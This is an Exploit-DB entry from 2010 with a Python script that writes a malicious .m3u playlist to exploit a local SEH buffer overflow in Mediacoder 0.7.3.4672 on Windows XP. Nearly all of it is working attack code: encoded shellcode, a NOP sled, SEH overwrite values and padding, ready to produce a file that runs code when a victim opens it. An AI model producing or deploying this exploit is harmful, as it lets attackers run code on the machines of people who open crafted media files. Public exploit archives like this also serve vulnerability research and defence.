Mediacoder 0.7.3.4672 - Local Overflow (SEH)

EDB-ID:

12821

CVE:

N/A

Author:

Stoke

Type:

local

Platform:

Windows

Published:

2010-05-31

#!/usr/bin/python
from sys import argv


##################################################################
# Title: Mediacoder v0.7.3.4672 SEH Exploit
# Author: Stoke from devilc0de crew
# http://hack2web.altervista.org
# http://devilc0de.altervista.org
# Tested on: Windows XP SP2 ita
##################################################################

shell = ("\x89\xe2\xdb\xcb\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x4b\x4c\x4a\x48\x4b\x39\x43\x30\x43\x30\x47\x70\x51\x70\x4f"
"\x79\x49\x75\x46\x51\x49\x42\x42\x44\x4e\x6b\x50\x52\x46\x50"
"\x4e\x6b\x43\x62\x44\x4c\x4e\x6b\x51\x42\x44\x54\x4c\x4b\x51"
"\x62\x44\x68\x46\x6f\x4e\x57\x51\x5a\x51\x36\x44\x71\x49\x6f"
"\x50\x31\x4f\x30\x4e\x4c\x45\x6c\x51\x71\x43\x4c\x43\x32\x46"
"\x4c\x45\x70\x4a\x61\x48\x4f\x46\x6d\x43\x31\x48\x47\x4d\x32"
"\x4a\x50\x42\x72\x46\x37\x4c\x4b\x43\x62\x46\x70\x4e\x6b\x51"
"\x52\x47\x4c\x45\x51\x48\x50\x4c\x4b\x51\x50\x50\x78\x4e\x65"
"\x49\x50\x50\x74\x51\x5a\x43\x31\x48\x50\x42\x70\x4c\x4b\x42"
"\x68\x45\x48\x4c\x4b\x43\x68\x45\x70\x46\x61\x48\x53\x4d\x33"
"\x45\x6c\x51\x59\x4e\x6b\x46\x54\x4e\x6b\x43\x31\x49\x46\x45"
"\x61\x49\x6f\x44\x71\x4b\x70\x4c\x6c\x4f\x31\x48\x4f\x44\x4d"
"\x46\x61\x4a\x67\x50\x38\x4d\x30\x42\x55\x49\x64\x46\x63\x51"
"\x6d\x4a\x58\x47\x4b\x51\x6d\x51\x34\x51\x65\x49\x72\x43\x68"
"\x4c\x4b\x42\x78\x51\x34\x46\x61\x4e\x33\x51\x76\x4e\x6b\x46"
"\x6c\x50\x4b\x4e\x6b\x43\x68\x47\x6c\x47\x71\x4e\x33\x4c\x4b"
"\x47\x74\x4c\x4b\x45\x51\x48\x50\x4d\x59\x43\x74\x47\x54\x51"
"\x34\x43\x6b\x43\x6b\x43\x51\x46\x39\x42\x7a\x50\x51\x4b\x4f"
"\x4b\x50\x43\x68\x51\x4f\x43\x6a\x4e\x6b\x45\x42\x48\x6b\x4e"
"\x66\x51\x4d\x51\x7a\x45\x51\x4e\x6d\x4e\x65\x48\x39\x43\x30"
"\x47\x70\x45\x50\x46\x30\x45\x38\x45\x61\x4c\x4b\x42\x4f\x4f"
"\x77\x4b\x4f\x49\x45\x4f\x4b\x48\x70\x48\x35\x4e\x42\x50\x56"
"\x50\x68\x4e\x46\x4a\x35\x4d\x6d\x4d\x4d\x4b\x4f\x4a\x75\x47"
"\x4c\x44\x46\x51\x6c\x46\x6a\x4d\x50\x49\x6b\x4d\x30\x43\x45"
"\x43\x35\x4f\x4b\x43\x77\x47\x63\x51\x62\x50\x6f\x42\x4a\x47"
"\x70\x50\x53\x49\x6f\x4a\x75\x45\x33\x50\x61\x42\x4c\x45\x33"
"\x44\x6e\x51\x75\x51\x68\x45\x35\x43\x30\x47\x7a\x41\x41")

nops = "\x90" * 30
seh = "\xCB\x10\x44\x01"
nseh = "\xeb\x06\x90\x90"
evil = "A"*916 + nseh + seh + nops + shell
if len(argv) != 2:
    print "[+] Usage: ./mediacoder_exploit <filename.m3u>"
    quit()
 
fd = file(argv[1], "w")
print "[+] Writing %s" % (argv[1])
fd.write(evil)
print "[+] Exploit complete"
fd.close()